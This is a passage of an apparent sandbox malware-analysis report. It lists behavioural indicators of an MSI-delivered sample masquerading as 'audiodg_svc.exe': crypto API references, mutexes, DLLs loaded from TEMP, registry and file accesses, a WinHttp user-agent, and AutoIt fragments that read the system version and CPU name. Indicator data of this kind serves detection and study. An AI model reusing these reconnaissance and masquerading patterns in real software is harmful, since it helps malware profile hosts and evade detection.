"00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00004872.00000003.168025.03BE0000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00005172.00000003.174592.00B9A000.00000004.mdmp")45:Te7f,"Software\AutoIt v3\AutoIt" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp 00000000-00005172.00000003.174592.00B20000.00000004.mdmp "ocal $sChaveReg = "HKEY_CURRENT_USER\Software\MyApp\Config"" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "ocal $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "ocal $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KEY_CURRENT_USER\Software\MyApp\Config" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp 00000000-00005172.00000001.170200.00C04000.00000004.mdmp 00000000-00005172.00000002.172121.00C04000.00000004.mdmp 00000000-00005172.00000003.174592.00C04000.00000004.mdmp "ACHINE\SYSTEM\CurrentControlSet\Control\CrashCon" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp 00000000-00005172.00000002.172121.00C7A000.00000004.mdmp 00000000-00005172.00000003.174592.00C7A000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp 00000000-00005172.00000002.172121.00C80000.00000004.mdmp 00000000-00005172.00000003.174592.00C80000.00000004.mdmp46:T8e3,Process msiexec.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1420:304:WilStaging_02" Process msiexec.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1420:304:WilStaging_02" Process msiexec.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1420:120:WilError_01" Process msiexec.exe created mutex with name "SM0:1420:304:WilStaging_02" Process msiexec.exe created mutex with name "Local\SM0:1420:304:WilStaging_02" Process msiexec.exe created mutex with name "SM0:1420:120:WilError_01" Process msiexec.exe created mutex with name "\BaseNamedObjects\_MSIExecute" Process msiexec.exe created mutex with name "\BaseNamedObjects\SM0:7860:304:WilStaging_02" Process msiexec.exe created mutex with name "\BaseNamedObjects\Local\SM0:7860:304:WilStaging_02" Process msiexec.exe created mutex with name "\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process msiexec.exe created mutex with name "\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process msiexec.exe created mutex with name "\BaseNamedObjects\SM0:7860:120:WilError_01" Process MsiExec.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:848:168:WilStaging_02" Process MsiExec.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:848:168:WilStaging_02" Process MsiExec.exe created mutex with name "SM0:848:168:WilStaging_02" Process MsiExec.exe created mutex with name "Local\SM0:848:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4872:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4872:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "SM0:4872:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "Local\SM0:4872:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5172:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5172:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "Local\SM0:5172:168:WilStaging_02" Process audiodg_svc.exe created mutex with name "SM0:5172:168:WilStaging_02"47:T420,Found string "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000000.168279.00C93000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "user-agent: "; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp")48:T1739,"Software\AutoIt v3\AutoIt" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "ocal $sChaveReg = "HKEY_CURRENT_USER\Software\MyApp\Config"" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "KLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "ocal $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "ocal $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "KEY_CURRENT_USER\Software\MyApp\Config" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp "ACHINE\SYSTEM\CurrentControlSet\Control\CrashCon" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "ocal $sChaveReg = "HKEY_CURRENT_USER\Software\MyApp\Config"" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "KLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "ocal $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "ocal $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "KEY_CURRENT_USER\Software\MyApp\Config" in Source: 00000000-00005172.00000001.170200.00B20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}" in Source: 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}" in Source: 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005172.00000001.170200.00C04000.00000004.mdmp "ACHINE\SYSTEM\CurrentControlSet\Control\CrashCon" in Source: 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "ocal $sChaveReg = "HKEY_CURRENT_USER\Software\MyApp\Config"" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "ocal $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "ocal $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "KEY_CURRENT_USER\Software\MyApp\Config" in Source: 00000000-00005172.00000002.172121.00B20000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005172.00000002.172121.00C04000.00000004.mdmp "ACHINE\SYSTEM\CurrentControlSet\Control\CrashCon" in Source: 00000000-00005172.00000002.172121.00C7A000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005172.00000002.172121.00C80000.00000004.mdmp "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in Source: 00000000-00005172.00000003.174592.00B20000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005172.00000003.174592.00C04000.00000004.mdmp "ACHINE\SYSTEM\CurrentControlSet\Control\CrashCon" in Source: 00000000-00005172.00000003.174592.00C7A000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005172.00000003.174592.00C80000.00000004.mdmp49:Td79,"audiodg_svc.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74360000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 759c0000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 759c0000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 759c0000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 759c0000 "audiodg_svc.exe" loaded module "KERNEL32.DLL" at base 76170000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73770000 "audiodg_svc.exe" loaded module "COMCTL32.DLL" at base 73d30000 "audiodg_svc.exe" loaded module "COMCTL32" at base 73d30000 "audiodg_svc.exe" loaded module "CRYPT32.DLL" at base 74540000 "audiodg_svc.exe" loaded module "NTDLL.DLL" at base 77af0000 "audiodg_svc.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 76690000 "audiodg_svc.exe" loaded module "USER32.DLL" at base 75380000 "audiodg_svc.exe" loaded module "RPCRT4.DLL" at base 76350000 "audiodg_svc.exe" loaded module "SSPICLI.DLL" at base 74510000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 74310000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 742f0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 742d0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74270000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 741a0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 74150000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74140000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 74310000 "audiodg_svc.exe" loaded module "WINHTTP.DLL" at base 741d0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 74190000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74150000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73f70000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 73cc0000 "audiodg_svc.exe" loaded module "MSKEYPROTECT.DLL" at base 73f60000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 73c50000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 756d0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73c20000 "audiodg_svc.exe" loaded module "WS2_32.DLL" at base 75650000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 759c0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 73bc0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75f90000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 73b40000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 73b20000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 73b10000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 73a50000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 759c0000 "audiodg_svc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 759c0000 "audiodg_svc.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73a300004a:T4fc,"audiodg_svc.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\WOW6432NODE\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}") "audiodg_svc.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\WOW6432NODE\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "audiodg_svc.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "audiodg_svc.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "audiodg_svc.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "audiodg_svc.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "audiodg_svc.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "audiodg_svc.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "audiodg_svc.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")4b:T476,Process "msiexec.exe" (UID: 00000000-00007860) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PSModulePath, APPDATA, USERNAME, Path, PATHEXT, TEMP, USERPROFILE, TMP" Process "msiexec.exe" (UID: 00000000-00007860) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, PROMPT, OneDrive, HOMEPATH, HOMEDRIVE" Process "MsiExec.exe" (UID: 00000000-00000848) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="\\DESKTOP-FVVF82A", OneDrive="%USERPROFILE%\OneDrive", HOMEPATH="\Users\Wx6UE7A", HOMEDRIVE="C:"" Process "MsiExec.exe" (UID: 00000000-00000848) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "audiodg_svc.exe" (UID: 00000000-00005172) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "audiodg_svc.exe" (UID: 00000000-00005172) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS"4c:T620,"audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\DLLNXOPTIONS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")4d:Tb1a,"audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "AUDIODG_SVC.EXE"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "AUDIODG_SVC"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")4e:T486,"msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\apphelp.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\AcLayers.DLL" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\sfc.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\WINSPOOL.DRV" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\bcrypt.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\sfc_os.DLL" "msiexec.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "msiexec.exe" trying to touch file "\Device\CNG" "msiexec.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernelbase.dll" "msiexec.exe" trying to touch file "\Device\KsecDD" "msiexec.exe" trying to touch file "C:\WINDOWS\system32\oleaut32.dll" "msiexec.exe" trying to touch file "C:\windows\temp\VxSSL64.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\System32\FLTLIB.DLL" "msiexec.exe" trying to touch file "C:\WINDOWS\System32\MSVCP140.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\System32\VCRUNTIME140.dll" "msiexec.exe" trying to touch file "C:\WINDOWS\System32\VCRUNTIME140_1.dll"4f:T8c9,"msiexec.exe" trying to access non-existent file "C:\WINDOWS\system32\TSAPPCMP.DLL" "msiexec.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "msiexec.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "MsiExec.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "MsiExec.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WSOCK32.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WSOCK32.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\VERSION.DLL" "audiodg_svc.exe" trying to access non-existent file 